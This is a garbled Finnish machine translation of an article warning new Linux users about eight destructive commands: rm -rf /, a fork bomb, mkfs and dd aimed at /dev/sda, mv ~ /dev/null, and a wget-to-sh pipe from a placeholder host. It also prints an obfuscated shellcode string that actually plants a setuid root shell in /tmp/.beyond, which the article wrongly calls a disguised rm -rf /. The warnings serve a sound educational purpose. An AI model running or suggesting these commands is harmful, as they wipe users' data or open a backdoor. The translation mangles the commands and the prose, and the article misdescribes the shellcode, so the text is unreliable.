If-Koubou

8 tappavia komentoja, joita sinun ei pitäisi koskaan käyttää Linuxissa

8 tappavia komentoja, joita sinun ei pitäisi koskaan käyttää Linuxissa (Miten)

Linuxin päätelaitteet ovat tehokkaita, ja Linux ei pyydä vahvistusta, jos suoritat komennon, joka rikkoo järjestelmääsi. Ei ole harvinaista, että verkkokaupat suosittelevat uusia Linux-käyttäjiä käyttämään näitä komentoja vitseinä.

Komentokäskyjen oppiminen voi auttaa sinua suojelemaan peikkoja ja lisää samalla ymmärrystä Linuxin toimivuudesta. Tämä ei ole tyhjentävä opas, ja komentoja voidaan sekoittaa eri tavoin.

Huomaa, että monet näistä komennoista ovat vaarallisia vain, jos ne ovat etusijalla sudo Ubuntu - he eivät toimi toisin. Muissa Linux-jakeluissa useimmat komennot on suoritettava juuriina.

Image Credit: Skull ja Crossbones remixed Jason Ford Twitterissä

rm -rf / - Poistaa kaiken!

Käsky rm-rf / poistaa kaikki mahdolliset, mukaan lukien kiintolevyllä olevat tiedostot ja tiedostoja liitetyissä irrotettavissa medialaitteissa. Tämä komento on ymmärrettävämpi, jos se on hajonnut:

rm - Poista seuraavat tiedostot.

-rf - Suorita rm rekursiivisesti (poista kaikki tiedostot ja kansiot määritetyn kansion sisällä) ja pakota - poista kaikki tiedostot pyytämättä.

/ - Osoittaa rm: n alkavan juurihakemistoon, joka sisältää kaikki tietokoneen tiedostot ja kaikki asennetut medialaitteet, mukaan lukien etätiedosto-osat ja siirrettävät asemat.

Linux on tyytyväinen tähän komentoon ja poistaa kaiken pyytämättä sinua, joten ole varovainen, kun käytät sitä! Rm-komentoa voidaan käyttää myös muissa vaarallisissa tavoissa - rm-rf ~ poistaisi kaikki kotikansion tiedostot samalla rm-rf. * poistaa kaikki kokoonpanotiedostot.

Oppitunti: Varokaa rm-rf.

Naamioitu rm-rf /

Tässä on toinen koodinpätkä, joka on kaikkialla verkossa:

char esp [] __attribute__ ((osio (".text"))) / * e.s.p
vapauttaminen * /
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
”\ Xff \ xff \ xff \ xff \ x68 \ XDF- \ xd0 \ XDF- \ xd9 \ x68 \ x8d \ x99”
”\ XDF- \ x81 \ x68 \ x8d \ x92 \ XDF- \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7”
”\ X56 \ X04 \ xf7 \ x56 \ X08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56”
”\ X8d \ x73 \ X08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ x80 \ x31”
”\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ XBD \ xff \ xff \ xff \ x2f \ x62 \ x69”
”\ X6e \ x2f \ x73 \ x68 \ x00 \ X2D \ x63 \ x00”
"Cp -p / bin / sh / tmp / beyond; chmod 4755
/tmp/.beyond;”

Tämä on rm-rf / - tämän komennon suorittaminen pyyhkiisi tiedostot aivan kuin olisit suorittanut rm-rf /.

Oppitunti: Älä käytä outoja näköisiä, ilmeisesti naamioituja komentoja, joita et ymmärrä.

: () : |: & ;: - Fork Bomb

Seuraava rivi on yksinkertainen, mutta vaarallinen bash-funktio:

:() :|: & ;:

Tämä lyhyt linja määrittää kuoriominaisuuden, joka luo itselleen uusia kopioita. Prosessi toistuu jatkuvasti, ja sen kopiot jatkuvasti kopioivat itsensä, ottavat nopeasti kaiken suorittimen ajan ja muistin. Tämä voi aiheuttaa tietokoneesi jäädyttämisen. Se on periaatteessa palvelunestohyökkäys.

Oppitunti: Bash-toiminnot ovat voimakkaita, jopa hyvin lyhyitä.

Kuvauskenttä: Dake Wikimedia Commonsissa

mkfs.ext4 / dev / sda1 - Muodostaa kiintolevyn

mkfs.ext4 / dev / sda1komento on helppo ymmärtää:

mkfs.ext4 - Luo uusi ext4-tiedostojärjestelmä seuraavalle laitteelle.

/ Dev / sda1 - Määrittää ensimmäisen kiintolevyn ensimmäisen osion, joka on luultavasti käytössä.

Yhdessä tämä komento voi vastata käynnissä olevaa muotoa c: Windowsissa - se pyyhkii ensimmäisessä osioistasi olevat tiedostot ja korvaa ne uudella tiedostojärjestelmällä.

Tämä käsky voi tulla myös muuhun muotoon - mkfs.ext3 / dev / sdb2 muotoilee toisen osion toisen kiintolevyn kanssa ext3-tiedostojärjestelmällä.

Oppitunti: Varokaa käynnissä olevia komentoja suoraan / dev / sd: ssä alkavilla kiintolevylaitteilla.

komento> / dev / sda - Kirjoittaa suoraan kiintolevylle

komento> / dev / sda linja toimii samalla tavalla - se suorittaa komennon ja lähettää komennon tuotoksen suoraan ensimmäiselle kiintolevylle, kirjoittamalla tiedot suoraan kiintolevyasemaan ja vahingoittamalla tiedostojärjestelmääsi.

komento - Suorita komento (voi olla mikä tahansa komento.)

> - Lähetä komennon tuotos seuraavaan paikkaan.

/ Dev / sda - Kirjoita komennon tuotos suoraan kiintolevylaitteeseen.

Oppitunti: Kuten yllä, varokaa käynnissä olevia komentoja, jotka sisältävät kiintolevylaitteita, jotka alkavat / dev / sd: llä.

dd if = / dev / satunnaisesti = / dev / sda - Kirjoittaa junk on kiintolevylle

dd if = / dev / satunnaisesti = / dev / sda linja poistaa myös tiedot yhdestä kiintolevystä.

dd - Suorita matalan tason kopiointi paikasta toiseen.

jos = / dev / random - Käytä syöttää / dev / satunnaista (satunnaista dataa) - saatat myös nähdä paikkoja, kuten / dev / nolla (nollat).

ja = / dev / sda - Tulostus ensimmäiseen kiintolevyyn, joka korvaa tiedostojärjestelmänsä satunnaisilla roskatiedoilla.

Oppitunti: dd kopioi tietoja paikasta toiseen, mikä voi olla vaarallista, jos kopioit suoraan laitteeseen.

Kuvauskenttä: Matt Rudge Flickrissä

mv ~ / dev / null - Siirtää kotihakemistasi mustaan ​​reikään

/ dev / null on toinen erityinen sijainti - siirrä jotain kohteeseen / dev / null on sama asia kuin tuhota se. Ajattele / dev / null musta aukko. Olennaisesti, mv ~ / dev / null lähettää kaikki henkilökohtaiset tiedostosi mustaan ​​reikään.

mv - Siirrä seuraava tiedosto tai hakemisto toiseen paikkaan.

~ - Edustaa koko kotikansioasi.

/ Dev / null - Siirrä kotikansioosi / dev / null, tuhoamalla kaikki tiedostot ja poistamalla alkuperäiset kopiot.

Oppitunti: ~ -Merkki edustaa kotikansioasi ja siirtää asioita / dev / null: lle tuhoaa ne.

wget http://esimerkki.fi/jotain -O - | sh - Lataukset ja komentosarjan suorittaminen

Edellä oleva linja lataa komentosarjan verkosta ja lähettää sen sh: lle, joka suorittaa komentosarjan sisällön. Tämä voi olla vaarallista, jos et ole varma, mikä käsikirjoitus on tai jos et luota sen lähteeseen - älä suorita luottamuksellisia komentosarjoja.

wget - Lataa tiedosto. (Voit myös nähdä curlin sijasta wget.)

http://example.com/something - Lataa tiedosto tästä paikasta.

| - Piipata (lähetä) wget-komennon (lataamasi tiedosto) suoraan toiselle komennolle.

sh - Lähetä tiedosto sh-komentoon, joka suorittaa sen, jos se on bash-komentosarja.

Oppitunti: Älä lataa ja suorita epäluotettavia komentosarjoja verkosta, vaikka komennolla.

Tunnetko muut vaaralliset komennot, joita uusien (ja kokeneiden) Linux-käyttäjien ei pitäisi käyttää? Jätä kommentti ja jakaa ne!